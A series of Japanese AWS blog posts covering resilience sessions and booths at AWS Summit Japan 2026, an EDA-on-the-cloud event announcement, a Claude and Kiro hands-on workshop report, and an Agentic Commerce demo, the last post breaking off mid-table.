2026 年 6 月 25 日、26 日に AWS Summit Japan が開催され、多数のセッションとブース展示が行われました。AWS セッションや AWS Village のブース展示においては、レジリエンスに関するトピックを多数お届けしていました。本ブログでは、AWS Summit Japan 2026 よりレジリエンスに関するセッション、ブースの内容をサマリーでご紹介します。 AWS セッションより 大規模障害から考える、AWS 上で備えるべきレジリエンスの実践 AWS エンタープライズサポート シニアテクニカルアカウントマネージャー 猪又 赳彦より、実際の障害発生時に AWS が何をしているのかを解説するセッションをお届けしました。AWS の障害対応は「検出と軽減策の実施」「振り返り」「学習とスケーリング」の 3 フェーズで進められ、振り返りでは COE（Correction of Error）の中核として Five Whys による根本原因分析が行われることを紹介。「5 回で止める」「直線的な分析に限定する」といった典型的な誤解に触れつつ、1 つの事象から複数の根本原因へ問いを分岐させていく実例が解説されました。 また、障害から生まれた「Availability Axioms（可用性の基本原則）」として、リージョンの分離（AWS STS のリージョナル化の歴史）、AZ 障害への自動対応（Fleet Health Service や Zonal Event Detector による検知と Amazon Application Recovery Controller の Zonal Shift / Autoshift）、厳密なテスト（専用のテストリージョンでのゲームデー）、過負荷からの保護（Metastable Failure という準安定障害の概念）という 4 つの原則が紹介されました。事例では、2025 年 10 月 20 日の US East 1（バージニア北部）リージョンでの Amazon DynamoDB DNS 障害を踏まえ、Fidelity Investments 社が日常的なレジリエンステストにより、当日 2,000 個のアプリケーションのフェイルオーバーを検知から 9 分で完了させた実践が紹介されました。 Operation Phase of AI-DLC － AI 駆動カオスエンジニアリングのすすめ－ AWS Developer スペシャリストソリューションアーキテクト 金森 政雄より、AI-Driven Development Lifecycle（AI-DLC）の Operation フェーズに焦点を当てたセッションをお届けしました。AI-DLC のホワイトペーパーでは、AI がテレメトリを能動的に分析して問題を予測し、ランブックと連携して推奨アクションを提案・実行し、開発者が検証・承認するというサイクルが定義されていますが、実運用に導入するには「既存の運用に乗せる」→「AI で改善する」→「AI を活用した運用（AIOps）へ」という段階的なアプローチが有効であると解説されました。具体例として、アーキテクチャ図上でリスクを可視化する「リスクストーミング」と、カオスエンジニアリングを組み合わせ、AI-DLC で開発されたデモアプリ「Unicorn Market」を用いて、リスク抽出から障害注入実験までを AI が加速するデモが実演されました。 AWS DevOps Agent による自律的インシデント対応 －その能力を引き出す設計のベストプラクティス－ AWS シニアスペシャリストソリューションアーキテクト 加藤 正樹より、障害対応と運用改善に特化した AI エージェント「AWS DevOps Agent」の能力を引き出す設計を解説するセッションをお届けしました。障害対応における AI 活用の課題として、暴走と停止の制御、多様なデータソースの横断、チーム全員でのコンテキスト維持の 3 点を整理し、「調査は AI、判断は人」という設計思想のもと、複数オブザーバビリティツールを横断したテレメトリ調査やコードリポジトリと連携した変更特定、Skills によるナレッジ共有といった機能が紹介されました。デモでは CloudWatch Alarm をトリガーに自律的に調査を開始し、複数テレメトリを相関づけて根本原因に到達、緩和計画を Kiro 等のコーディングエージェントに引き渡すまでの一連の流れが実演されています。 能力を引き出すベストプラクティスとして、調査スコープを定義する Agent Space の設計原則、Insights ファミリーや OpenTelemetry によるテレメトリの充実、Skills と Agent Instructions によるナレッジ共有の 3 点が解説されました。ナレッジ整備前後では根本原因到達時間が 6 分 32 秒から 3 分 38 秒へ短縮された結果も共有されています。事例として KDDI 様では調査リードタイムが数週間から数日へ短縮され、CyberAgent 様では MCP サーバーを活用して本番データベースを安全に調査する独自拡張を構築した事例が紹介されました。 ランサムウェアに対して最優先で取るべき AWS の復旧対策 ソリューションアーキテクト 向井 稔より、ランサムウェア被害からの「復旧」にフォーカスし、状況に応じた 3 段階の対策を解説するセッションをお届けしました。IPA「情報セキュリティ 10 大脅威 2026」でランサム攻撃が 11 年連続 1 位となる中、防御・検知・対応だけでなく、暗号化されたデータを確実に復元し業務を再開する「復旧」フェーズの重要性を強調しました。 まず「すぐに始められる対策」として、Write Once Read Many（WORM）によるイミュータブルなデータ保護を紹介しました。AWS では Amazon S3 Object Lock、Amazon EBS Snapshot Lock、Amazon FSx for NetApp ONTAP SnapLock、AWS Backup Vault Lock の 4 つのサービスで WORM を実現でき、いずれも追加料金なしで利用可能です。Compliance モードを選択すれば、保持期間中は管理者であってもデータを削除できない強固な保護が適用されます。 次に「包括的な対策」として、AWS アカウント自体が侵害されるリスクに備え 3-2-1-1-0 ルールに基づく戦略を解説しました。具体的には、AWS Backup の論理エアギャップボールト（Logically Air-gapped Vault）により AWS 管理の専用アカウント内にバックアップを隔離し、デフォルトで Vault Lock による WORM 保護を適用する構成を紹介しました。さらに Amazon GuardDuty Malware Protection for AWS Backup によりバックアップのマルウェアスキャンを復旧前に実施できること、自動復元テストにより復旧プロセスの正常性を継続的に確認できることを説明しました。最後に「オンプレミス環境の対策」として、バックアップソフトウェアと S3 Object Lock を連携させ、オンプレミスのデータを AWS に WORM 保護付きでバックアップし、DR 対策とランサムウェア対策を同時に実現する構成を紹介しました。 AWS ブース展示より レジリエンス強化と障害対応につかえる AI 体験 本ブースでは「EC サイトが障害で停止し、復旧まで 1 時間を要した」というシナリオを起点に、レジリエンスライフサイクルの各ステップを AI で加速する 4 つのデモを体験いただきました。 起点となる AWS DevOps Agent のデモでは、DB 接続プール枯渇と Redis キャッシュ障害が同時発生する複合障害に対し、CloudWatch Alarm をトリガーに AI が自律的に調査を開始。約 10 分で 2 件の根本原因を特定し、緩和計画まで日本語でレポートする一連の流れをお見せしました（運用・対応と学習）。続いて BIA（Business Impact Analysis）のデモでは、Kiro 上で動く AI ファシリテーターが対話形式でビジネスインパクトの分析を支援。ダウンタイムコストと最大許容ダウンタイムを算出し、DR の目標値を導き出す過程をご紹介しました（目標を設定）。 3 つ目の次世代 AWS Resilience Hub × Kiro のデモでは、GenAI による障害モードアセスメントが現行アーキテクチャの課題を評価し、その結果を Kiro に渡すとマルチリージョン化の提案レポートから CloudFormation テンプレートの改修まで AI が一気通貫で生成。評価・計画・実装を AI が担い、人間は判断とデプロイ承認に集中できるワークフローを提案しました（設計と実装）。最後の Chaos Agent（Kiro × AWS FIS）のデモでは、再設計後の環境に対し AI がカオステストのシナリオ生成から障害注入、RTO/RPO の合否判定までを自律実行。実測 RTO 約 99 秒で目標を大幅にクリアする結果を示し、設計後も AI が継続的に検証する重要性をお伝えしました（評価とテスト）。 4 つのデモは「運用・対応と学習 → 目標を設定 → 設計と実装 → 評価とテスト」というライフサイクルを一気通貫で体験できる構成とし、ご来場いただいた方のご興味のポイントに合わせてご説明させていただきました。 大阪リージョンを使用したマルチリージョン構成のデモ（たこ焼き AI 大将） 大阪リージョンをメインとしたディザスタリカバリ（DR）構成を、たこ焼き注文アプリ「たこ焼き AI 大将」として体験できるデモをご案内しました。レジリエンス／DR は重要でありながら難解と捉えられやすいテーマなので、技術的な堅牢性を保ちつつ誰もが直感的に楽しめる構成を目指してデモを設計・実装しました。注文操作に連動して、たこ焼きを焼く・盛り付けるロボットアームを配置し、来場者の関心を自然に技術デモへ引き込む導線を目指しました。 ブースではリージョン障害を疑似的に発生させても注文を継続できる様子を実演し、Amazon Aurora DSQL のマルチリージョン アクティブ‐アクティブクラスターによる高可用性、Amazon Bedrock のクロスリージョン推論、Amazon CloudWatch Application Signals による SLO モニタリングを組み合わせた構成を紹介しました。障害対応には Amazon CloudFront のオリジンフェイルオーバーと Amazon Application Recovery Controller の Region Switch を採用し、AWS Fault Injection Service で Lambda レイテンシーや DSQL 接続障害時の動作を検証するアーキテクチャを体感いただきました。 AWS レジリエンス体験ゲーム 〜 選ぶだけで学べる、障害対応の意思決定 手を動かしながらレジリエンスを学べるよう、ブースにクイズ形式のゲームを用意しました。AWS のレジリエンス設計を体験できる展示です。来場者は架空のグローバル企業で「最高レジリエンス責任者（Chief Resilience Officer）」となり、次々と発生する障害シナリオに対して復旧の選択肢を選んでいきます。専門知識がなくても選択肢を選ぶだけで進められるので、クラウド初心者からアーキテクトまで、立ち止まって手を動かしていただけました。 用意したのは、業種の異なる 4 つのシナリオです。 FinancePay（決済 / マルチリージョン災害復旧） — リージョン障害に直面し、RTO / RPO を意識しながら、バックアップ＆リストア、パイロットライト、ウォームスタンバイ、マルチサイトアクティブ/アクティブという 4 つの DR 戦略を選択。Amazon Application Recovery Controller（ARC）のルーティングコントロールによるリージョン間のトラフィック切り替えも体験します。 StreamMax（動画配信 / 高可用性とゾーン分離） — ライブ配信中のアベイラビリティゾーン（AZ）障害に対応。マルチ AZ 配置と、ARC の Zonal Shift・Zonal Autoshift による健全な AZ へのトラフィック退避を通じて、障害の影響を AZ 単位に封じ込める考え方を学びます。 ShopFast（EC / セルベースアーキテクチャ） — フラッシュセール中のカスケード障害が題材。セルベースアーキテクチャとシャッフルシャーディング、バルクヘッドパターンで爆発半径（Blast Radius）を最小化し、一部が壊れてもサービス全体を止めないグレースフルデグラデーションを体感します。 DoWellAI（生成 AI / AI ワークロードのレジリエンス） — 生成 AI アプリの安定運用がテーマ。Amazon Bedrock Guardrails による入出力フィルタリング、クロスリージョン推論、プロンプトキャッシング、共有障害の防止といった、生成 AI 時代のレジリエンスパターンを扱います。 「アベイラビリティゾーンとは何か」といった基礎から、セルベースアーキテクチャや生成 AI ワークロードの可用性設計まで、体験しながら段階的に学べる展示を行いました。 進化する金融 × レジリエンス 〜 金融システムを支えるセキュリティ＆レジリエンス 金融ブースでは、ミッションクリティカルなワークロードのレジリエンス強化とサイバーセキュリティ対策について、具体的な実装をデモでご紹介しました。取り上げたのは、次のようなユースケースです。 リアルタイムカード決済のマルチリージョン構成 — 東京・大阪の両拠点で止まらない決済基盤をライブ実演。カードをかざした瞬間から処理完了までの流れを体感いただけます。 認証情報侵害の検知と AI による自律調査 — 多段階攻撃の個別アラートを AI が「攻撃チェーン」として自動判定し、調査レポートまで生成。検知から調査完了までを一気通貫でお見せしました。 AWS Security Agent による設計書レビュー — 設計書を読み込ませ、コンプライアンス確認作業を効率化する取り組みをご紹介しました。 AI との対話によるランサムウェア対策アーキテクチャ提案 — ランサムウェア対策を生成 AI が活用できる Agent Skill として体系化。金融グレードの AWS 推奨構成を対話で具体化し、設計提案・現状評価・改善ロードマップをレポート出力します。 障害訓練シナリオの AI 自動生成 — 構成情報を入力するだけで障害訓練のシナリオと実施計画を AI が自動生成し、訓練準備の負担を大幅に削減します。 止まらない決済基盤から、AI を活用した脅威検知・設計レビュー・障害訓練まで。守りを固めるだけでなく、生成 AI で運用そのものを進化させていく。そんな金融システムのこれからを、実装を通して感じていただける展示となりました。 人間 vs AI 障害対応バトル – Chaos Kitty Challenge AWS のアーキテクチャを物理的に表現し、インシデント対応を体験学習できる Chaos Kitty。4 回目の登場となる今年は、新たに「対戦モード」を追加して AWS Builders’ Fair に展示しました。同じ障害が発生した 2 つの環境で参加者と AI エージェントが同時に対応を開始し、どちらが早く正確に Web 3 層アプリケーションの障害を解決できるかを競います。 AI エージェントには AWS DevOps Agent を採用。メトリクス・ログ・トレースやデプロイ履歴を横断分析して根本原因を特定していく調査プロセスが対戦画面上にリアルタイムで可視化され、AI 時代のインシデント対応の未来を体感できる展示となりました。 Chaos Kitty は AWS Samples として公開しており、ご自身の AWS 環境にデプロイしてお試しいただけます。詳しくは紹介ブログ記事もあわせてご覧ください。 AWS Summit Japan 2026 に Chaos Kitty が対戦モードを引っさげて 4 回目の登場！   大阪リージョンデータセンター 最新の災害対策 大阪リージョンデータセンターブースでは、AWS インフラストラクチャの耐災害性を直感的に体験いただける展示を行いました。今回のサミットでは、大阪リージョンで採用されている日鉄エンジニアリングの免震装置「NS-SSB（球面滑り構造）」を模型と VR 体験装置でご紹介。VR を通じて免震構造の効果を体感いただくことで、大阪リージョンのインフラストラクチャが持つ高い耐災害性をより実感いただける内容としました。特に DR 戦略として大阪リージョンの利用を検討されているお客様から高い関心をいただきました。 まとめ 障害へのアプローチとしては、障害が起こる事を前提とし、素早く復旧する事（レジリエンス、回復力）が重要です。今回の AWS Summit では、このプラクティスを AI エージェントによって加速するという新しい潮流が多く確認できる内容となっておりました。特に、Business Impact Analysis から Resilience Hub によるアーキテクチャ評価、Fault Injection Service を用いたカオステスト、そして障害発生時の DevOps Agent による一次対応まで、レジリエンスライフサイクルの各フェーズに AI を組み込む具体的な実装例が確認できる内容になっておりました。加えて、ランサムウェアからの復旧対策や大阪リージョンを活用したマルチリージョン構成など、ミッションクリティカルなワークロードを守るための実践的な選択肢も幅広くご紹介しました。これからミッションクリティカルなシステムや高い可用性要件が求められるシステムのクラウド活用を検討頂いている皆様に少しでも参考になれば幸いです。 現在は、セッションの動画や資料を以下で公開中です。ぜひあわせてご覧ください。 – 動画（視聴には登録が必要です）： https://aws.amazon.com/jp/events/summits/japan/ – セッション資料： https://pages.awscloud.com/AWS-Summit-Japan-2026-Session-Materials-Download.html – ブース展示資料： https://pages.awscloud.com/AWS-Summit-Japan-2026-AWS-Expo.html 著者について 猪又 赳彦 技術支援本部 エンタープライズサポート シニアテクニカルアカウントマネージャー 鈴木 真史 技術統括本部 交通・物流ソリューション部 シニアソリューションアーキテクト 三好 史隆 技術統括本部 自動車・製造 ソリューションアーキテクト 安藤 麻衣 技術統括本部 通信・メディア技術本部 通信第二ソリューション部 ソリューションアーキテクト

イベント概要 半導体業界をリードする企業の皆様をお迎えし、昨年ご好評いただいた「EDA on the Cloud – Tokyo」を今年も開催します。オンプレミスからクラウドへの移行に悩むお客様に対し、AIとHPCが融合したEDAワークロードの未来、EDAに最適化されたAWSサービスやロードマップ、そして革新的な生成AIの活用など、EDA領域におけるクラウド活用のすべてをご紹介します。 本イベントはアメリカ、ロンドン、韓国、台湾で開催しているイベントの日本開催となり、グローバルにおける最新情報をお届けします。EDA・半導体・AIの各領域をリードするグローバルAWSパートナーが一堂に会し、EDAのクラウド活用に関する最新動向と最先端の取り組みをご紹介します。また、お客様事例としてソニーセミコンダクタソリューションズ様より半導体EDA基盤のクラウドジャーニーについてご講演いただきます。 開催日時 2026年8月4日（火）9:30 – 18:00 (9:00 受付開始) 開催場所 AWS 麻布台オフィス 〒106-0041　東京都港区麻布台1丁目3-1　麻布台ヒルズ 森JPタワー 東京メトロ日比谷線 神谷町駅 直結・東京メトロ南北線 六本木一丁目駅より徒歩約4分 ※入退館等詳細は別途ご連絡いたします 参加対象者 このイベントは、クラウドアーキテクトやエンジニアから、ディレクター、CTOまで、あらゆるレベルの技術リーダーやビルダーを対象としています。 プレゼンテーションでは、技術ソリューションやその実装方法、業界への影響に焦点を当てますのでクラウド上でのEDAワークロード実行における最新トレンドを把握したい方や、他社事例を参考にしたい方、EDA領域におけるAWSの実装方法に興味のある方など、多くの方にご参加いただけます。 特に以下のような方々に最適なイベントとなっております： 半導体設計におけるクラウド活用を検討されている方 EDAワークロードの最適化やコスト削減に取り組まれている方 クラウドベースの設計検証環境の構築を目指している方 大規模なEDAジョブの効率的な実行方法を模索されている方 セキュアなクラウド環境でのIP管理に関心のある方 本イベントでは、業界をリードする企業の実践事例や、最新のクラウドソリューション、そして将来的な技術展望まで、幅広いトピックをカバーいたします。また、ネットワーキングの時間もご用意しており、パートナー様やAWSメンバーとの情報交換を通じて、具体的な課題解決のヒントを得ていただける機会となっております。 ぜひこの機会に、次世代の半導体設計インフラの可能性を共に探求してまいりましょう。 想定している参加者様のレベル Level 200（AWSのインフラストラクチャに関する基礎的なナレッジがあることを前提に、EDA・生成AI・セキュリティ等に関連したセッションを実施します） 定員 100名 （参加費無料） 参加申し込みについて 以下のページよりお申し込みください。 [ お申し込みはこちら ] プログラム内容 時間 内容 9:00-9:30 受付 9:30-9:35 オープニング アマゾン ウェブ サービス ジャパン合同会社 袴田 淳 9:35-10:10 EDA on AWS Updates Kirti Devi, Sr. Manager, Tech Business Development HPC/ML, AWS アマゾン ウェブ サービス ジャパン合同会社 小林 広志 10:10-10:40 EDA x AI x Cloud Umar Shah, Head of Solutions/GTM, Electronics & EDA, AWS 10:40-11:10 AWSシリコン最前線 ～ AI時代のチップ選択を読み解く ～ 常世 大史, Principal Solutions Architect, Annapurna Labs 11:10-11:20 休憩 11:20-12:00 ソニー半導体EDA基盤のCloud Journey ソニーセミコンダクタソリューションズ株式会社 設計基盤技術部門 設計環境推進部 豊田 剛介 様 12:00-13:00 昼休憩 13:00-13:45 AI時代のEDAデータ基盤：Amazon FSx for NetApp ONTAPとS3 Access Pointsで加速する半導体設計ワークロード ネットアップ合同会社 シニアクラウドソリューションアーキテクト 藤原 善基 様 13:45-14:15 EDA on the Cloudを加速するAMD EPYC Turin – AWSクラウド上での半導体設計ワークロード最適化 日本AMD株式会社 コマーシャル営業本部 セールスエンジニアリング シニアマネージャー 小林 宏行 様 14:15-14:45 これから選ぶべきEDA向けインスタンスは？ – Amazon EC2 Gen 8に搭載 最新フラッグシップ・デバイス　インテル® Xeon® 6 – インテル株式会社 シニア・HPC & AI ソリューション・アーキテクト 髙藤 良史 様 14:45-14:55 休憩 14:55-15:25 クラウド時代のAI-Driven EDA：Cadence AI Super Agentが変える設計・検証フロー 日本ケイデンス・デザイン・システムズ社 Lead Application Engineer 安川 勝 様 15:25-15:55 クラウドとAIが変える半導体設計 – Siemens EDA × AWSが実現する次世代EDA環境 シーメンスEDAジャパン株式会社 技術本部 技術本部長 丁子 和之 様 15:55-16:05 休憩 16:05-16:35 半導体のためのフロンティアAI Anthropic Japan合同会社 アプライド AI アーキテクト 松井 佑馬 様 16:35-17:05 ChipAgents William Wang, CEO and Founder, ChipAgents.ai 17:05-17:10 クロージング アマゾン ウェブ サービス ジャパン合同会社 野間 愛一郎 17:10-18:00 ネットワーキング (Sponsored by AMD) 参加者同士の情報交換や、AWS パートナー様や AWS メンバーへのご質問の時間としてご活用ください アジェンダや参加パートナー企業は変更となる可能性がございます。 一部のセッションは英語での提供となりますが、通訳を手配する予定です。

このワークショップで起きたこと みなさん、こんにちは。AWS アカウントマネージャーの岩上です。 2026年6月8日、AWS 麻布台オフィスで 「Claude , Kiro実践ワークショップ」 を開催しました。 参加者22社51名、ハンズオン2時間、そして最後に参加者が自作アプリを発表する時間を設けました。 ワークショップの満足度はなんと100%というアンケート結果 でした。 本記事では当日の流れ、参加者が作ったアプリ、そして高い満足度を頂けた背景をまとめます。 ワークショップの出発点 多くの企業がDXに取り組む中、共通して聞こえてくる課題があります。それはアイデアはあっても実装できる人材がいないでした。IT部門は日々の運用に追われ、新しい取り組みに手が回らない。この業務変革の「最後の1マイル」が状態が続いています。AI コーディングツール（Claude Desktop Cowork / Code、Kiro IDE）は、この構造を変える可能性を持っています。自然言語で指示するだけでアプリの雛形が作れる時代になりました。 しかし、AI コーディングツールのデモを見ても「すごいけど自分には関係ない」で終わりがちです。ツールを配るだけでは組織は変わりません。 そこで、AIを学び場だけでなく業務変革のきっかけの場を提供したいと考えました。 参加者が自分の業務課題を起点に、実際に動くアプリを作る ことを主眼としたワークショップを企画しました。 プログラム構成 今回は参加要件として、 ”事前セットアップを完了頂いている事” とさせていただきました。事前セットアップを完了してもらうことで、ワークショップ当日はアプリ作成に集中できる環境を用意しました。 座学では操作に必要な最低限の知識を共有し、試していただく時間を最大限長くとる構成で運営しました。※セットアップガイド（ Kiro / Claude Desktop ) まず座学パートではソリューションアーキテクトの山澤が担当しました。 ワークショップ全体像 ハンズオンではテキスト教材を起点にしつつ、各自が「自分の困りごと」をテーマに開発。ソリューションアーキテクトがフロアを巡回し、手が止まっている人に声をかける体制としました。 アプリ発表事例：日本曹達 宮形様の農業化学品FAQデータベース アプリ作成時間は30分間という限られたお時間の中、参加者の皆様も集中して生成AIを使った開発をされていました。その後今回のメインパートである「アプリ発表」を実施しました。 今回は発表者の代表として日本曹達株式会社農業化学品事業部普及部広報課 宮形様を取り上げさせていただきます。 日本曹達様は総合化学メーカーで、非エンジニアの方々も積極的に生成AIを活用されているお客様です。 課題: 顧客からの技術問い合わせに対し、過去の回答履歴を毎回手作業で検索。同じ質問に何度も回答し、回答品質がベテランの記憶に依存していた。 ワークショップ内で作ったもの: 過去のQ&Aデータをキーワード検索できるFAQアプリ。カテゴリを絵文字で直感的に表示し、関連度の高い過去回答を提示。 ポイント: 巨大システムの刷新ではなく「毎日繰り返す不便」を解消する題材選び 業務を最もよく知る担当者自身が、仕様書を書く代わりにアプリを作った 属人的なナレッジを検索可能にする「組織化の第一歩」になる ここから先は、データ拡充→意味検索（RAG）→回答案の自動生成→組織展開と段階的に進化させられます。重要なのは、最初の一歩をワークショップの2時間で踏み出せたことです。 日本曹達株式会社農業化学品事業部普及部広報課 宮形様の発表 他の発表者が作ったアプリ また現地では業務からプライベートなお悩みまで多様なアイディアのもと、様々なアプリケーションが発表があり、双方向での学びの場として盛り上がりを見せていました。発表頂いた皆様、すばらしいアプリの共有ありがとうございました。 画像アイコン加工（ドラッグ＆ドロップで透過・補正を自動処理） 製品CSV一括登録（バリデーション付き一括登録Webアプリ） クラウドコスト可視化（ブラウザ拡張でリアルタイム表示） ゲーム開発（ターン制戦車バトルゲームをフルスクラッチ） 外食抑制カウンター（月間上限に対する進捗可視化 ワークショップ後の懇親会 発表終了後、そのまま会場で懇親会を実施しました。参加企業同士が 「自社ではこう使おうと思っている」「セキュリティ部門への説明はどうしたか」 といった具体的な情報交換を行い、企業の枠を超えた議論が自然発生していました。普段接点のない他社の担当者と、同じツールを触った直後だからこそ生まれる会話があり、ワークショップ本編に匹敵する価値がこの時間にあったと感じています。 高い満足度 の背景 ― 何がうまくいったのか ワークショップ終了後のアンケート（1 ~ 5の5段階で満足度を評価）では、参加者の100%が「4」または「5」を選択いただき高い満足度を示しました。運営として意識していたのは、 「参加者がアプリを作る体験の品質」をいかに上げるかでした。 またコメントでも 「刺激になりました！」「他の人の作成したアプリが動作含め見られたことが良かった」 などアプリ発表に関しての好意的なコメントも多く頂いております。 振り返りとして3点を共有します。 1. 「当日動かない」リスクの排除 AI コーディングツールはクライアント環境への依存が大きく、セットアップ不備が致命的です。そこで以下を事前に準備しました。 参加者に事前セットアップを必須化し、Zenn 記事で手順を詳細公開。さらに当日の想定外のトラブルの対策としてサポートメンバーとしてソリューションアーキテクトが巡回し、 お客様の課題をその場で解決しました。 2. ゴールを押しつけない 教材はあっても「このアプリを作ってください」というお題はあえて出していません。チュートリアルを最後までなぞるのではなく、途中から自分のテーマに切り替えてよい設計にしました。 結果的に、発表された6つのアプリはすべて別々の課題を解いています。 3. 発表の場があること 「2時間後に発表できる人を募集します」と冒頭で伝えたことで、ハンズオン中に「見せられるものを作ろう」というモチベーションが自然に生まれました。 なお、発表は完全任意で進行させていただきました。発表頂いた皆様の素晴らしいOwnershipに感謝いたします。 どのように生成AIをつかって業務を変えていくかの現場の活用Tipsをその場で学べることに価値を感じて頂けました。 なお今回のワークショップで持ち帰るアイディアを記載いただきました。 ワークショップ後の支援 AWS では、ワークショップで「自分でも作れる」と実感いただいた後も、お客様の状況に応じた継続支援をご用意しています。活用方法の共有会、業務課題の深掘り、セキュリティ面の技術説明など、次のステップについては担当のアカウントマネージャーまでお気軽にご相談ください。 なお本ワークショップの目的はアプリを作ることではありません。 AIを使い、自ら業務を改善できる人材を増やすこと です。個人の生産性向上が組織全体へ広がることで、企業はこれまで改善できなかった業務変革を現場から進められるようになります。私たちは今後も、お客様が生成AIを単なるツールではなく、継続的な業務変革の基盤として活用できるよう支援していきます。 本記事公開時点では、当該ワークショップは招待制のイベントとなります。AWS側の担当者がお客様の状況を鑑みてご案内差し上げておりますので、予めご了承ください。 関連リンク Claude Desktop セットアップガイド（Zenn） Kiro IDE セットアップガイド（Zenn）

AWS で実現する新しい E-Commerce の形 〜 Future of Agentic Commerce みなさんこんにちは。ソリューションアーキテクトの中島です。 本記事では AWS Summit Japan 2026 で展示した、流通小売消費財業界ブース「AWS で実現する新しい E-Commerce の形 〜 Future of Agentic Commerce」の様子を皆様にお伝えさせていただきます。 Agentic Commerce とは Agentic Commerce とは、自律的な AI エージェントが、ユーザーに代わって商品の検索・比較・購入・決済までを独立して実行する、新しい形の e コマースです。従来の EC ではユーザー自身が検索・比較・購入を行い、意思決定もすべて人間が担っていましたが、Agentic Commerce では AI エージェントが検索・比較・購入・決済を自律的に実行し、人間は条件設定と監督に役割が変わります。なお現状では、購入の最終判断は人が行い、決済は人の指示を受けてエージェントが代行する形が中心です。 こうした AI エージェント経由の商品発見・購買は、直近のニュースでも大きく取り上げられています。たとえば AWS は、決済パートナーと連携して AI エージェント向けのステーブルコイン決済基盤（ Amazon Bedrock AgentCore payments ）を発表し、自律型 AI エージェントがリアルタイムに購入を行えるインフラの構築を進めています。また EC プラットフォーム側でも、AI エージェント経由の意図しない購買を防ぎつつ、マーチャントが商品データを適切に連携できるフィード機能の提供が始まるなど、各社の対応が急速に進んでいます。 Amazon 自身も、こうした Agentic Commerce の実装を既に提供しています。Amazon Shopping アプリ内の AI アシスタント「Rufus」（2026 年 5 月より Alexa と統合し「Alexa for Shopping」としてリニューアル）は、Amazon Bedrock を活用して数億人規模の顧客に会話型の商品検索・比較体験を提供しており、その裏側のアーキテクチャは こちらのブログ で詳しく紹介されています。Onsite Agent（EC サイト上での接客エージェント）の実運用例として参考になる内容です。 日本国内でも、EC サイト上に AI アシスタントを組み込む取り組みや、AI プラットフォーム上に自社の商品を発見してもらう取り組みが、複数の企業で始まりつつあります。 AWS Summit Japan 2026 の会場では、こうした AI エージェントが商品を探し、比較し、購入するという新しい EC の姿を、実際に動くデモとともにご紹介しました。AI プラットフォーマーが提供する Incoming Agent から EC サイトに流入し、そのまま自社 EC サイト上の Onsite Agent による接客を経て購入に至るまで、そして裏側で動く EC バックエンド・バックオフィスの仕組みまで、一つの Demo システムとして統合してご覧いただきました。 このブログでは、当日の様子や Demo シナリオ、ブースでご紹介した Demo システムのアーキテクチャをダイジェストでご紹介します。 AWS 展示ブーステーマ 「Future of Agentic Commerce」 AI プラットフォーマーが提供するショッピング機能や、EC プラットフォーマーが組み込む AI エージェントの台頭により、消費者の商品発見から購入までの体験は大きく変わり始めています。この変化を「来たる Agentic Commerce 時代を売上向上の Big Opportunity に」できるよう、ブースでは実際に稼働する Demo システムを通じて、Agentic Commerce の実装イメージを具体的にご覧いただきました。 デモのご紹介に入る前に、本デモに登場する 2 種類のエージェントについて簡単に整理します。 Incoming Agent（インカミングエージェント）: AI プラットフォーマー側（チャットアプリや AI アシスタントなど）に存在し、ユーザーに代わって複数の EC サイトを横断的に検索・比較し、商品を推薦・購入までつなぐエージェントです。ユーザーは EC サイトを直接訪れるのではなく、普段使っている AI プラットフォーム経由で EC 事業者の商品と出会います。その後、AI Agent が決済まで終わらせるケースもあれば、EC サイトへ流入するケースもあります。 Onsite Agent（オンサイトエージェント）: EC 事業者が自社サイト上に実装するエージェントで、訪問したユーザーに対して商品検索・比較・接客を行います。従来の EC サイト内検索やレコメンドの役割を、対話型のエージェントが担う形です。 本デモでは主に Incoming Agent 経由の体験を中心にご紹介しつつ、Onsite Agent による自社 EC 上での接客体験もあわせてご覧いただける構成にしています。 デモでは、次の 6 つのストーリーをご覧いただけるようにしています。 複数の EC 事業者にまたがって商品を探し、1 つの仮想的なカートで管理した上で、AI プラットフォーマーが提供するウォレットで購入するケース（購入の最終確認はユーザー自身が行い、確認ボタンを経て決済する） 同じくウォレットでの購入において、あらかじめ 5,000 円以下の決済権限をエージェントに与えておき、その条件に該当する場合はユーザーの確認なしにエージェントが購入まで自律的に実行するケース 仮想的なカートに商品を入れるところまでは同様だが、そこから「EC で購入したい」ボタンを押すことで、連携先の EC 事業者側のカートに商品が転送され、そちらで購入を完了できるケース Onsite Agent が自社 EC 上で最適化された UI/UX を通じて、来訪したお客様をおもてなしするケース なお、このデモの決済には Amazon Pay を採用しています。Amazon Pay の Payment Method On File（PMOF） は、初回に支払い方法を設定しておくことで、以降はワンクリックで決済が完了する方式です。Onsite Agent との対話から購入確定までをチャット UI 内で完結させる、スムーズな決済体験を実現しています。さらに本デモでは、ECP を通じて AI プラットフォーム側のエージェントからも同じ Amazon Pay 決済を呼び出せる実装としています。 友達同士で買い物をするケース：それぞれのユーザーに紐づいた AI エージェントが、購入前に互いに会話をして、各ユーザーの趣味・嗜好データを踏まえながら「何を買うか」「予算をどうするか」を事前に調整し、方針が決まったところで「こういう議論をしてこう決まったけれど、これでいいですか」とユーザー本人に確認を取る、という未来の購買体験を示すコンセプトデモ 注文した商品が在庫切れとなった場合の例外処理を EC バックオフィスエージェントが検知し、ユーザーに代替品を提案するケース Agent に Apps を導入して EC 側のデザインやビジネスロジックを持ち込むケース Demo システム全体像 Demo システムは、AI プラットフォーム側の Incoming Agent と、EC 事業者側の EC フロントエンド・EC バックエンド・EC バックオフィスエージェントまでを一つのシステムとして統合し、Agentic Commerce の一連の流れを再現しました。（図の Amazon Bedrock AgentCore runtime アイコンが見えづらいのですが、MCP, UCP Server を ホストしています。） AI プラットフォーム側の Incoming Agent: AI プラットフォーム側から EC 事業者の商品を発見・推薦するエージェント。 UCP (Universal Commerce Protocol: AI Agent が購買するために必要な一連の機能と I/F を定義したプロトコル) / AP2 (Agent Payments Protocol: AI Agent が決済時に使用するプロトコル) / ECP (Embedded Checkout Protocol) / MCP Apps (Model Context Protocol Apps: UI 転送を伴う MCP) といった複数のコマースプロトコルに対応 EC フロントエンド: 自社 EC サイトに実装した Onsite Agent が、MCP Apps を通じて商品検索・接客を提供 EC バックエンド: 商品 Feed、在庫、決済などの機能を EC API・MCP/UCP 経由で提供。複数の Agent 間連携は A2A（Agent-to-Agent）Mesh で実装 EC バックオフィスエージェント: 発注、顧客管理、在庫管理と連携し、例外処理の解決を行う AI プラットフォーマー側を入り口にして、自社の EC サイトで決済をしていくというユーザーストーリーまで、一連のカスタマージャーニーを実現しています。 Demo システムで利用している AWS サービス 用途 AWS サービス AI プラットフォーム側 Agent、EC の認証サービス Amazon Cognito 静的アセットの配信 Amazon CloudFront 静的アセットの配置 Amazon S3 API 